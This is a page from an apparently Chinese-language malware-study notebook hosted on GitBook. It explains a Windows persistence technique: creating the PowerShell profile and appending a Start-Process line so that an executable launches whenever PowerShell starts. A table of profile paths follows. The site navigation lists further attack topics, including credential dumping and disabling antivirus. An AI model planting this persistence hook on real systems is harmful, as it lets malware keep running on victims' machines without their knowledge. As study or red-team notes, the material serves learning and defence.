Malware Note
main
main
  • 恶意软件学习笔记
  • 权限维持
    • 服务
      • 新建服务
      • 修改服务
      • 隐藏服务
      • 劫持服务
    • 启动项
      • 注册表
      • 文件夹
    • 用户账户
      • 新建用户
      • 隐藏用户
    • DLL劫持
      • 劫持自启动程序
      • 劫持.NET程序
    • COM劫持
      • COM劫持
    • 映像劫持
      • 映像劫持
    • 计划任务
      • 新建任务
    • WMI
      • WMI事件
    • Office
      • VSTO
      • WLL/XLL
      • 模板文件
      • COM劫持
    • BITS Jobs
      • BITS
    • Rootkit
      • Rootkit
    • 未分类
      • Windows Telemetry
      • 替换文件
      • AppInit_DLLs注入
      • 粘滞键
      • cmd启动劫持
      • 屏幕保护
      • 注册SSP DLL
      • AddMonitor
      • 滥用POWERSHELL配置文件
      • W32Time
      • UWP
      • Waitfor
      • Bios
      • 劫持更新程序
      • 利用LAPS
      • SDB文件
  • 提权
    • UAC Bypass
    • 漏洞
    • 错误配置
  • 横向移动
    • WMI
    • RPC
    • DCOM
    • HASH
    • Kerberos tickets
  • 文件结构
    • Office
    • LNK
      • 钓鱼lnk
    • PE
    • CHM
      • 钓鱼chm
  • 注入
    • 注入
  • 反分析
    • 反虚拟机/沙盒
  • 获取用户密码或hash
    • SMB
    • 注入mstsc.exe
    • Mimikatz
    • NPLogonNotify
    • Tickets
  • 进程链
    • 启动进程
  • 关闭杀软
    • 关闭WD
  • AMSI
    • 绕过AMSI
  • Dump内存
    • MiniDumpWriteDump
    • Shellcode
    • SilentProcessExit
    • procdump
    • Task Manager/Process Explorer
    • Sqldumper
    • comsvcs.dll
    • WinPmem
    • ProcessDump.exe
    • Dumpert
    • BSOD
    • PPLdump
    • Hibernation
  • 木马分析
    • Stealer
      • 输入法
    • Hidden Remote
  • 常用工具
    • Untitled
  • 鬼知道有什么用的小知识
    • 鬼知道有什么用的小知识
由 GitBook 提供支持
在本页

这有帮助吗?

  1. 权限维持
  2. 未分类

滥用POWERSHELL配置文件

上一页AddMonitor下一页W32Time

最后更新于3年前

这有帮助吗?

PowerShell启动时会执行配置文件的内容。

Powershell:

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\Temp\qwqdanchun.exe"'
$string | Out-File -FilePath "%HOMEPATH%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append

注:Powershell默认配置文件有多个,按照从上到下的顺序优先级从高到低

Description

Path

All Users, All Hosts

$PSHOME\Profile.ps1

All Users, Current Host

$PSHOME\Microsoft.PowerShell_profile.ps1

Current User, All Hosts

$Home[My ]Documents\PowerShell\Profile.ps1

Current user, Current Host

$Home[My ]Documents\PowerShell\Microsoft.PowerShell_profile.ps1

参考文章:

Logoabout Profiles - PowerShelldocsmsft
LogoGitHub - enigma0x3/PowershellProfile: Abuses Powershell ProfilesGitHub
LogoAbusing Powershell Profilesenigma0x3